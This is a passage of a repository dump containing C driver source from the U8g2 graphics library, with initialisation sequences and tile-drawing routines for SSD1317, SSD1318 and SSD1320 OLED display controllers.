break;\n#endif\n  case U8X8_MSG_DISPLAY_DRAW_TILE:\n   u8x8_cad_StartTransfer(u8x8);\n   x = ((u8x8_tile_t *)arg_ptr)->x_pos;    \n   x *= 8;\n   x += u8x8->x_offset;\n  \n   u8x8_cad_SendCmd(u8x8, 0x040 );\t/* set line offset to 0 */\n   \n   u8x8_cad_SendCmd(u8x8, 0x010 | (x>>4) );\n   u8x8_cad_SendArg(u8x8, 0x000 | ((x&15)));\t/* probably wrong, should be SendCmd */\n   u8x8_cad_SendArg(u8x8, 0x0b0 | (((u8x8_tile_t *)arg_ptr)->y_pos)); /* probably wrong, should be SendCmd */\n\n    \n   do\n   {\n    c = ((u8x8_tile_t *)arg_ptr)->cnt;\n    ptr = ((u8x8_tile_t *)arg_ptr)->tile_ptr;\n    u8x8_cad_SendData(u8x8, c*8, ptr); \t/* note: SendData can not handle more than 255 bytes */\n    /*\n\tdo\n\t{\n\t  u8x8_cad_SendData(u8x8, 8, ptr);\n\t  ptr += 8;\n\t  c--;\n\t} while( c > 0 );\n\t*/\n\targ_int--;\n      } while( arg_int > 0 );\n      \n      u8x8_cad_EndTransfer(u8x8);\n      break;\n    default:\n      return 0;\n  }\n  return 1;\n}\n\n\nstatic const u8x8_display_info_t u8x8_ssd1317_96x96_display_info =\n{\n  /* chip_enable_level = */ 0,\n  /* chip_disable_level = */ 1,\n  \n  /* post_chip_enable_wait_ns = */ 20,\n  /* pre_chip_disable_wait_ns = */ 10,\n  /* reset_pulse_width_ms = */ 100, \t/* SSD1306: 3 us */\n  /* post_reset_wait_ms = */ 100, /* far east OLEDs need much longer setup time */\n  /* sda_setup_time_ns = */ 50,\t\t/* SSD1306: 15ns, but cycle time is 100ns, so use 100/2 */\n  /* sck_pulse_width_ns = */ 50,\t/* SSD1306: 20ns, but cycle time is 100ns, so use 100/2, AVR: below 70: 8 MHz, >= 70 --> 4MHz clock */\n  /* sck_clock_hz = */ 8000000UL,\t/* since Arduino 1.6.0, the SPI bus speed in Hz. Should be  1000000000/sck_pulse_width_ns */\n  /* spi_mode = */ 0,\t\t/* active high, rising edge */\n  /* i2c_bus_clock_100kHz = */ 4,\n  /* data_setup_time_ns = */ 40,\n  /* write_pulse_width_ns = */ 150,\t/* SSD1306: cycle time is 300ns, so use 300/2 = 150 */\n  /* tile_width = */ 12,\n  /* tile_height = */ 12,\n  /* default_x_offset = */ 16,\n  /* flipmode_x_offset = */ 16,\n  /* pixel_width = */ 96,\n  /* pixel_height = */ 96\n};\n\nuint8_t u8x8_d_ssd1317_96x96(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n    \n  if ( u8x8_d_ssd1317_generic(u8x8, msg, arg_int, arg_ptr) != 0 )\n    return 1;\n  \n  switch(msg)\n  {\n    case U8X8_MSG_DISPLAY_INIT:\n      u8x8_d_helper_display_init(u8x8);\n      u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1317_96x96_init_seq);    \n      break;\n    case U8X8_MSG_DISPLAY_SETUP_MEMORY:\n      u8x8_d_helper_display_setup_memory(u8x8, &u8x8_ssd1317_96x96_display_info);\n      break;\n    default:\n      return 0;\n  }\n  return 1;\n}\n"
  },
  {
    "path": "Bibliotecas/U8g2/src/clib/u8x8_d_ssd1318.c",
    "content": "/*\n\n  u8x8_d_ssd1318.c\n\n  Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/)\n\n  Copyright (c) 2019, olikraus@gmail.com\n  All rights reserved.\n\n  Redistribution and use in source and binary forms, with or without modification, \n  are permitted provided that the following conditions are met:\n\n  * Redistributions of source code must retain the above copyright notice, this list \n    of conditions and the following disclaimer.\n    \n  * Redistributions in binary form must reproduce the above copyright notice, this \n    list of conditions and the following disclaimer in the documentation and/or other \n    materials provided with the distribution.\n\n  THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND \n  CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, \n  INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF \n  MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE \n  DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR \n  CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, \n  SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT \n  NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; \n  LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER \n  CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, \n  STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) \n  ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF \n  ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.  \n\n\n  SSD1318: 128x96 OLED\n  \n  https://github.com/olikraus/u8g2/issues/784\n\n*/\n\n\n#include \"u8x8.h\"\n\n\n\n/* with internal charge pump (icp) */\nstatic const uint8_t u8x8_d_ssd1318_128x96_icp_init_seq[] = {\n    \n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  \n  \n  U8X8_CA(0x0fd, 0x012),\t\t/* unlock */\n  U8X8_C(0x0ae),\t\t                /* display off */\n  U8X8_CA(0x0ad, 0x0d0),\t\t/* external or internal IREF selection */\n  U8X8_CA(0x0a8, 0x05f),\t\t/* multiplex ratio, 96 duty */\n  U8X8_CA(0x0d3, 0x000),\t\t/* display offset */\n  U8X8_CA(0x0a2, 0x000),\t\t/* start line */\n  \n  \n  // four possible charge pump setting from as per sec 6.8.2 of the ssd1318 datasheet\n  // uncomment only one of the below for lines  \n  // default: \n  // U8X8_CA(0x08d, 0x004, 0x0ac, 0x001),\t\t/* Charge pump setting from sec 6.8.2 of SSD1318 datasheet */\n  // U8X8_CA(0x08d, 0x044, 0x0ac, 0x001),\t\t/* Charge pump setting from sec 6.8.2 of SSD1318 datasheet */\n  // U8X8_CA(0x08d, 0x084, 0x0ac, 0x001),\t\t/* Charge pump setting from sec 6.8.2 of SSD1318 datasheet */\n  U8X8_CAAA(0x08d, 0x0c4, 0x0ac, 0x001),\t\t/* Charge pump setting from sec 6.8.2 of SSD1318 datasheet */\n  \n\n  U8X8_C(0x0a1),\t\t\t\t/* segment remap a0/a1*/\n  U8X8_C(0x0c0),\t\t\t\t/* c0: scan dir normal, c8: reverse */\n  // Flipmode\n  // U8X8_C(0x0a0),\t\t\t\t/* segment remap a0/a1*/\n  // U8X8_C(0x0c8),\t\t\t\t/* c0: scan dir normal, c8: reverse */\n  \n  U8X8_CA(0x0da, 0x012),\t\t/* com pin HW config, sequential com pin config (bit 4), disable left/right remap (bit 5) */\n\n  U8X8_CA(0x081, 0x00f), \t\t/* value from issue 784, seems to be a little bit low... */\n  \n  \n  U8X8_CA(0x0d5, 0x0d1),\t\t/* clock divide ratio (0x00=1) and oscillator frequency (0x8), value from issue 784 example code */\n  U8X8_CA(0x0d9, 0x022), \t\t/* [2] pre-charge period 0x022/f1, value from issue 784 example code */\n  U8X8_CA(0x0db, 0x030), \t\t/* vcomh deselect level, value from issue 784 example code  */  \n  \n  \n  //U8X8_CA(0x020, 0x000),\t\t/* horizontal addressing mode */\n  //U8X8_C(0x02e),\t\t\t\t/* Deactivate scroll */ \n  \n  U8X8_C(0x0a4),\t\t\t\t/* output ram to display */\n  U8X8_C(0x0a6),\t\t\t\t/* none inverted normal display mode */\n    \n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\n\n/* with external charge pump */\nstatic const uint8_t u8x8_d_ssd1318_128x96_xcp_init_seq[] = {\n    \n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  \n  \n  U8X8_CA(0x0fd, 0x012),\t\t/* unlock */\n  U8X8_C(0x0ae),\t\t                /* display off */\n  U8X8_CA(0x0ad, 0x0d0),\t\t/* external or internal IREF selection */\n  U8X8_CA(0x0a8, 0x05f),\t\t/* multiplex ratio, 96 duty */\n  U8X8_CA(0x0d3, 0x000),\t\t/* display offset */\n  U8X8_CA(0x0a2, 0x000),\t\t/* start line */\n  \n  \n  // not sure if we have to set something for external charge pump\n  // ...\n  \n\n  U8X8_C(0x0a1),\t\t\t\t/* segment remap a0/a1*/\n  U8X8_C(0x0c0),\t\t\t\t/* c0: scan dir normal, c8: reverse */\n  // Flipmode\n  // U8X8_C(0x0a0),\t\t\t\t/* segment remap a0/a1*/\n  // U8X8_C(0x0c8),\t\t\t\t/* c0: scan dir normal, c8: reverse */\n  \n  U8X8_CA(0x0da, 0x012),\t\t/* com pin HW config, sequential com pin config (bit 4), disable left/right remap (bit 5) */\n\n  U8X8_CA(0x081, 0x00f), \t\t/* value from issue 784, seems to be a little bit low... */\n  \n  \n  U8X8_CA(0x0d5, 0x0d1),\t\t/* clock divide ratio (0x00=1) and oscillator frequency (0x8), value from issue 784 example code */\n  U8X8_CA(0x0d9, 0x022), \t\t/* [2] pre-charge period 0x022/f1, value from issue 784 example code */\n  U8X8_CA(0x0db, 0x030), \t\t/* vcomh deselect level, value from issue 784 example code  */  \n  \n  \n  //U8X8_CA(0x020, 0x000),\t\t/* horizontal addressing mode */\n  //U8X8_C(0x02e),\t\t\t\t/* Deactivate scroll */ \n  \n  U8X8_C(0x0a4),\t\t\t\t/* output ram to display */\n  U8X8_C(0x0a6),\t\t\t\t/* none inverted normal display mode */\n    \n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\n\nstatic const uint8_t u8x8_d_ssd1318_128x96_powersave0_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_C(0x0af),\t\t                /* display on */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_ssd1318_128x96_powersave1_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_C(0x0ae),\t\t                /* display off */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_ssd1318_128x96_flip0_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_C(0x0a1),\t\t\t\t/* segment remap a0/a1*/\n  U8X8_C(0x0c0),\t\t\t\t/* c0: scan dir normal, c8: reverse */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_ssd1318_128x96_flip1_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_C(0x0a0),\t\t\t\t/* segment remap a0/a1*/\n  U8X8_C(0x0c8),\t\t\t\t/* c0: scan dir normal, c8: reverse */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\n\nstatic uint8_t u8x8_d_ssd1318_generic(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n  uint8_t x, c;\n  uint8_t *ptr;\n  switch(msg)\n  {\n    /* handled by the calling function\n    case U8X8_MSG_DISPLAY_SETUP_MEMORY:\n      u8x8_d_helper_display_setup_memory(u8x8, &u8x8_ssd1318_128x96_display_info);\n      break;\n    */\n    /* handled by the calling function\n    case U8X8_MSG_DISPLAY_INIT:\n      u8x8_d_helper_display_init(u8x8);\n      u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1318_128x96_init_seq);    \n      break;\n    */\n    case U8X8_MSG_DISPLAY_SET_POWER_SAVE:\n      if ( arg_int == 0 )\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_ssd1318_128x96_powersave0_seq);\n      else\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_ssd1318_128x96_powersave1_seq);\n      break;\n    case U8X8_MSG_DISPLAY_SET_FLIP_MODE:\n      if ( arg_int == 0 )\n      {\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_ssd1318_128x96_flip0_seq);\n\tu8x8->x_offset = u8x8->display_info->default_x_offset;\n      }\n      else\n      {\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_ssd1318_128x96_flip1_seq);\n\tu8x8->x_offset = u8x8->display_info->flipmode_x_offset;\n      }\n      break;\n#ifdef U8X8_WITH_SET_CONTRAST\n    case U8X8_MSG_DISPLAY_SET_CONTRAST:\n      u8x8_cad_StartTransfer(u8x8);\n      u8x8_cad_SendCmd(u8x8, 0x081 );\n      u8x8_cad_SendArg(u8x8, arg_int );\t/* ssd1318 has range from 0 to 255 */\n      u8x8_cad_EndTransfer(u8x8);\n      break;\n#endif\n    case U8X8_MSG_DISPLAY_DRAW_TILE:\n      u8x8_cad_StartTransfer(u8x8);\n      x = ((u8x8_tile_t *)arg_ptr)->x_pos;    \n      x *= 8;\n      x += u8x8->x_offset;\n    \n      u8x8_cad_SendCmd(u8x8, 0x040 );\t/* set line offset to 0 */\n    \n      u8x8_cad_SendCmd(u8x8, 0x010 | (x>>4) );\n      u8x8_cad_SendArg(u8x8, 0x000 | ((x&15)));\t\t\t\t\t/* probably wrong, should be SendCmd */\n      u8x8_cad_SendArg(u8x8, 0x0b0 | (((u8x8_tile_t *)arg_ptr)->y_pos));\t/* probably wrong, should be SendCmd */\n\n    \n      do\n      {\n\tc = ((u8x8_tile_t *)arg_ptr)->cnt;\n\tptr = ((u8x8_tile_t *)arg_ptr)->tile_ptr;\n\tu8x8_cad_SendData(u8x8, c*8, ptr); \t/* note: SendData can not handle more than 255 bytes */\n\t/*\n\tdo\n\t{\n\t  u8x8_cad_SendData(u8x8, 8, ptr);\n\t  ptr += 8;\n\t  c--;\n\t} while( c > 0 );\n\t*/\n\targ_int--;\n      } while( arg_int > 0 );\n      \n      u8x8_cad_EndTransfer(u8x8);\n      break;\n    default:\n      return 0;\n  }\n  return 1;\n}\n\n\nstatic const u8x8_display_info_t u8x8_ssd1318_128x96_display_info =\n{\n  /* chip_enable_level = */ 0,\n  /* chip_disable_level = */ 1,\n  \n  /* post_chip_enable_wait_ns = */ 20,\n  /* pre_chip_disable_wait_ns = */ 10,\n  /* reset_pulse_width_ms = */ 100, \t/* SSD1306: 3 us */\n  /* post_reset_wait_ms = */ 100, /* far east OLEDs need much longer setup time */\n  /* sda_setup_time_ns = */ 50,\t\t/* SSD1306: 15ns, but cycle time is 100ns, so use 100/2 */\n  /* sck_pulse_width_ns = */ 50,\t/* SSD1306: 20ns, but cycle time is 100ns, so use 100/2, AVR: below 70: 8 MHz, >= 70 --> 4MHz clock */\n  /* sck_clock_hz = */ 8000000UL,\t/* since Arduino 1.6.0, the SPI bus speed in Hz. Should be  1000000000/sck_pulse_width_ns */\n  /* spi_mode = */ 0,\t\t/* active high, rising edge */\n  /* i2c_bus_clock_100kHz = */ 4,\n  /* data_setup_time_ns = */ 40,\n  /* write_pulse_width_ns = */ 150,\t/* SSD1306: cycle time is 300ns, so use 300/2 = 150 */\n  /* tile_width = */ 16,\n  /* tile_height = */ 12,\n  /* default_x_offset = */ 0,\n  /* flipmode_x_offset = */ 0,\n  /* pixel_width = */ 128,\n  /* pixel_height = */ 96\n};\n\nuint8_t u8x8_d_ssd1318_128x96(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n    \n  if ( u8x8_d_ssd1318_generic(u8x8, msg, arg_int, arg_ptr) != 0 )\n    return 1;\n  \n  switch(msg)\n  {\n    case U8X8_MSG_DISPLAY_INIT:\n      u8x8_d_helper_display_init(u8x8);\n      u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1318_128x96_icp_init_seq);    \n      break;\n    case U8X8_MSG_DISPLAY_SETUP_MEMORY:\n      u8x8_d_helper_display_setup_memory(u8x8, &u8x8_ssd1318_128x96_display_info);\n      break;\n    default:\n      return 0;\n  }\n  return 1;\n}\n\nuint8_t u8x8_d_ssd1318_128x96_xcp(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n    \n  if ( u8x8_d_ssd1318_generic(u8x8, msg, arg_int, arg_ptr) != 0 )\n    return 1;\n  \n  switch(msg)\n  {\n    case U8X8_MSG_DISPLAY_INIT:\n      u8x8_d_helper_display_init(u8x8);\n      u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1318_128x96_xcp_init_seq);    \n      break;\n    case U8X8_MSG_DISPLAY_SETUP_MEMORY:\n      u8x8_d_helper_display_setup_memory(u8x8, &u8x8_ssd1318_128x96_display_info);\n      break;\n    default:\n      return 0;\n  }\n  return 1;\n}\n"
  },
  {
    "path": "Bibliotecas/U8g2/src/clib/u8x8_d_ssd1320.c",
    "content": "/*\n\n  u8x8_d_ssd1320.c\n  \n  Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/)\n\n  Copyright (c) 2020, olikraus@gmail.com\n  All rights reserved.\n\n  Redistribution and use in source and binary forms, with or without modification, \n  are permitted provided that the following conditions are met:\n\n  * Redistributions of source code must retain the above copyright notice, this list \n    of conditions and the following disclaimer.\n    \n  * Redistributions in binary form must reproduce the above copyright notice, this \n    list of conditions and the following disclaimer in the documentation and/or other \n    materials provided with the distribution.\n\n  THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND \n  CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, \n  INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF \n  MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE \n  DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR \n  CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, \n  SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT \n  NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; \n  LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER \n  CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, \n  STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) \n  ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF \n  ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.  \n\n\n  https://github.com/olikraus/u8g2/issues/1351\n  SSD1320: \n    160 x 160 dot matrix\n    16 gray scale\n  \n  Adapted from u8x8_d_ssd1322.c with the command set of the SSD1320 controller\n  \"official\" procedure is described here: https://github.com/olikraus/u8g2/wiki/internal\n  \n  NOTE: U8x8 does NOT work! --> not clear, needs to be checked\n  \n  \n  https://github.com/olikraus/u8g2/issues/1816\n  \n*/\n\n#include \"u8x8.h\"\n\nstatic const uint8_t u8x8_d_ssd1320_cs1_160x132_nhd_powersave0_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_C(0x0af),\t\t                /* ssd1320: display on */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_ssd1320_cs1_160x132_nhd_powersave1_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_C(0x0ae),\t\t                /* ssd1320: display off */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\n\n/*\n  input:32\n    one tile (8 Bytes; 1 byte per column)\n  output:\n    Tile for SSD1320 (32 Bytes)\n\n*/\n\nstatic uint8_t u8x8_ssd1320_to32_dest_buf[32];\n\n\n\nstatic uint8_t *u8x8_ssd1320_8to32(U8X8_UNUSED u8x8_t *u8x8, uint8_t *ptr)\n{\n  uint8_t v;\n  uint8_t a,b;\n  uint8_t i, j;\n  uint8_t *dest;\n  \n  for( j = 0; j < 4; j++ )\n  {\n    dest = u8x8_ssd1320_to32_dest_buf;\n    dest += j;\n    a =*ptr;\n    ptr++;\n    b = *ptr;\n    ptr++;\n    for( i = 0; i < 8; i++ )\n    {\n      v = 0;\n      if ( a&1 ) v |= 0x0f;\n      if ( b&1 ) v |= 0xf0;\n      *dest = v;\n      dest+=4;\n      a >>= 1;\n      b >>= 1;\n    }\n  }  \n  return u8x8_ssd1320_to32_dest_buf;\n}\n\nuint8_t u8x8_d_ssd1320_common(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n  uint8_t x; \n  uint8_t y, c;\n  uint8_t *ptr;\n  switch(msg)\n  {\n    /* U8X8_MSG_DISPLAY_SETUP_MEMORY is handled by the calling function */\n    /*\n    case U8X8_MSG_DISPLAY_SETUP_MEMORY:\n      break;\n    case U8X8_MSG_DISPLAY_INIT:\n      u8x8_d_helper_display_init(u8x8);\n      u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1320_256x64_init_seq);\n      break;\n    */\n    case U8X8_MSG_DISPLAY_SET_POWER_SAVE:\n      if ( arg_int == 0 )\n\t      u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1320_cs1_160x132_nhd_powersave0_seq);\n      else\n\t      u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1320_cs1_160x132_nhd_powersave1_seq);\n      break;\n\n#ifdef U8X8_WITH_SET_CONTRAST\n    case U8X8_MSG_DISPLAY_SET_CONTRAST:\n      u8x8_cad_StartTransfer(u8x8);\n      u8x8_cad_SendCmd(u8x8, 0x081 );\n      u8x8_cad_SendArg(u8x8, arg_int );\t/* ssd1320 has range from 1 to 255 */\n      u8x8_cad_EndTransfer(u8x8);\n      break;\n#endif\n\n    case U8X8_MSG_DISPLAY_DRAW_TILE:\n      u8x8_cad_StartTransfer(u8x8);\n      x = ((u8x8_tile_t *)arg_ptr)->x_pos;    \n      y = (((u8x8_tile_t *)arg_ptr)->y_pos);\n      x += u8x8->x_offset;\t\t\n    \n      y *= 8;\n    \n      \n      u8x8_cad_SendCmd(u8x8, 0x022 );\t/* set row address, moved out of the loop (issue 302) */\n      u8x8_cad_SendArg(u8x8, y);\n      u8x8_cad_SendArg(u8x8, y+7);\n      \n      do {\n\t      c = ((u8x8_tile_t *)arg_ptr)->cnt;\n\t      ptr = ((u8x8_tile_t *)arg_ptr)->tile_ptr;\n\n        do {\n          u8x8_cad_SendCmd(u8x8, 0x021 );\t/* set column address */\n          u8x8_cad_SendArg(u8x8, x );\t/* start */\n          u8x8_cad_SendArg(u8x8, x+3 );\t/* end */\n          \n          u8x8_cad_SendData(u8x8, 32, u8x8_ssd1320_8to32(u8x8, ptr));\n          \n          ptr += 8;\n          x += 4;\n          c--;\n        } while( c > 0 );\n      \n      //x += 2;\n      arg_int--;\n    } while( arg_int > 0 );\n    \n    u8x8_cad_EndTransfer(u8x8);\n    break;\n\n    default:\n      return 0;\n  }\n  return 1;\n}\n\n\n\n\nstatic uint8_t *u8x8_ssd1320_8to32_2(U8X8_UNUSED u8x8_t *u8x8, uint8_t *ptr)\n{\n  uint8_t v;\n  uint8_t a,b;\n  uint8_t i, j;\n  uint8_t *dest;\n  \n  for( j = 0; j < 4; j++ )\n  {\n    dest = u8x8_ssd1320_to32_dest_buf;\n    dest += j;\n    a =*ptr;\n    ptr++;\n    b = *ptr;\n    ptr++;\n    for( i = 0; i < 8; i++ )\n    {\n      v = 0;\n      if ( a&1 ) v |= 0xf0;     // changed from 0x0f to 0xf0, https://github.com/olikraus/u8g2/issues/1816\n      if ( b&1 ) v |= 0x0f;     // changed from 0xf0 to 0x0f, https://github.com/olikraus/u8g2/issues/1816\n      *dest = v;\n      dest+=4;\n      a >>= 1;\n      b >>= 1;\n    }\n  }\n  return u8x8_ssd1320_to32_dest_buf;\n}\n\nuint8_t u8x8_d_ssd1320_common_2(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n  uint8_t x; \n  uint8_t y, c;\n  uint8_t *ptr;\n  switch(msg)\n  {\n    /* U8X8_MSG_DISPLAY_SETUP_MEMORY is handled by the calling function */\n    /*\n    case U8X8_MSG_DISPLAY_SETUP_MEMORY:\n      break;\n    case U8X8_MSG_DISPLAY_INIT:\n      u8x8_d_helper_display_init(u8x8);\n      u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1320_256x64_init_seq);\n      break;\n    */\n    case U8X8_MSG_DISPLAY_SET_POWER_SAVE:\n      if ( arg_int == 0 )\n\t      u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1320_cs1_160x132_nhd_powersave0_seq);\n      else\n\t      u8x8_cad_SendSequence(u8x8, u8x8_d_ssd1320_cs1_160x132_nhd_powersave1_seq);\n      break;\n\n#ifdef U8X8_WITH_SET_CONTRAST\n    case U8X8_MSG_DISPLAY_SET_CONTRAST:\n      u8x8_cad_StartTransfer(u8x8);\n      u8x8_cad_SendCmd(u8x8, 0x081 );\n      u8x8_cad_SendArg(u8x8, arg_int );\t/* ssd1320 has range from 1 to 255 */\n      u8x8_cad_EndTransfer(u8x8);\n      break;\n#endif\n\n    case U8X8_MSG_DISPLAY_DRAW_TILE:\n      u8x8_cad_StartTransfer(u8x8);\n      x = ((u8x8_tile_t *)arg_ptr)->x_pos;    \n      y = (((u8x8_tile_t *)arg_ptr)->y_pos);\n      x += u8x8->x_offset;\t\t\n    \n      y *= 8;\n    \n      \n      u8x8_cad_SendCmd(u8x8, 0x022 );\t/* set row address, moved out of the loop (issue 302) */\n      u8x8_cad_SendArg(u8x8, y);\n      u8x8_cad_SendArg(u8x8, y+7);\n      \n      do {\n\t      c = ((u8x8_tile_t *)arg_ptr)->cnt;\n\t      ptr = ((u8x8_tile_t *)arg_ptr)->tile_ptr;\n\n        do {\n          u8x8_cad_SendCmd(u8x8, 0x021 );\t/* set column address */\n          u8x8_cad_SendArg(u8x8, x );\t/* start */\n          u8x8_cad_SendArg(u8x8, x+3 );\t/* end */\n          \n          u8x8_cad_SendData(u8x8, 32, u8x8_ssd1320_8to32_2(u8x8, ptr));\n          \n          ptr += 8;\n          x += 4;\n          c--;\n        } while( c > 0 );\n      \n      //x += 2;\n      arg_int--;\n    } while( arg_int > 0 );\n    \n    u8x8_cad_EndTransfer(u8x8);\n    break;\n\n    default:\n      return 0;\n  }\n  return 1;\n}\n\n\n/*=========================================================*/\n/* 160x32 */\n\nstatic const uint8_t u8x8_d_ssd1320_cs1_160x32_nhd_flip0_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_C(0x0a0),\t\t/* remap */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_ssd1320_cs1_160x32_nhd_flip1_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_C(0x0a1),\t\t/* remap */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const u8x8_display_info_t u8x8_d_ssd1320_cs1_160x32_display_info =\n{\n  /* chip_enable_level = */ 0,\n  /* chip_disable_level = */ 1,\n  \n  /* post_chip_enable_wait_ns = */ 20,\n  /* pre_chip_disable_wait_ns = */ 10,\n  /* reset_pulse_width_ms = */ 100, \t/* ssd1320: 2 us */\n  /* post_reset_wait_ms = */ 100, /* far east OLEDs need much longer setup time */\n  /* sda_setup_time_ns = */ 50,\t\t/* ssd1320: 15ns, but cycle time is 100ns, so use 100/2 */\n  /* sck_pulse_width_ns = */ 50,\t/* ssd1320: 20ns, but cycle time is 100ns, so use 100/2, AVR: below 70: 8 MHz, >= 70 --> 4MHz clock */\n  /* sck_clock_hz = */ 10000000UL,\t/* since Arduino 1.6.0, the SPI bus speed in Hz. Should be  1000000000/sck_pulse_width_ns, increased to 8MHz (issue 215), 10 MHz (issue 301) */\n  /* spi_mode = */ 0,\t\t/* active high, rising edge */\n  /* i2c_bus_clock_100kHz = */ 4,\n  /* data_setup_time_ns = */ 10,\n  /* write_pulse_width_ns = */ 150,\t/* ssd1320: cycle time is 300ns, so use 300/2 = 150 */\n  /* tile_width = */ 20,\t\t/* 160 pixel, so we require 20 bytes for this */\n  /* tile_height = */ 4,\n  /* default_x_offset = */ 0,\t/* this is the byte offset (there are two pixel per byte with 4 bit per pixel) */\n  /* flipmode_x_offset = */ 0,\n  /* pixel_width = */ 160,\n  /* pixel_height = */ 32\n};\n\n// initialisation sequence from the Arduino Library\n// (see https://github.com/sparkfun/SparkFun_SSD1320_OLED_Arduino_Library)\nstatic const uint8_t u8x8_d_ssd1320_cs1_160x32_init_seq[] = {\n    \n    U8X8_DLY(1),\n    U8X8_START_TRANSFER(),    /* enable chip, delay is part of the transfer start */\n    U8X8_DLY(1),\n    \n    U8X8_C(0xae),\t\t          /* display off */\n    U8X8_CA(0xd5, 0xC2),\t\t\t/* set display clock divide ratio/oscillator frequency (set clock as 80 frames/sec)  */  \n    U8X8_CA(0xa8, 0x1f),\t\t\t/* multiplex ratio 1/64 Duty (0x0F~0x3F) */  \n    U8X8_CA(0xa2, 0x00),\t\t\t/* display start line */  \n\n    U8X8_C(0xa0),\t                /* Set Segment Re-Map: column address 0 mapped to SEG0  CS1 */ \n    // U8X8_C(0xa1),\t                /* Set Segment Re-Map: column address 0 mapped to SEG0  CS2 */ \n\n    U8X8_C(0xc8),\t             /* Set COM Output Scan Direction: normal mode CS1 */\n    // U8X8_C(0xc0),\t\t\t  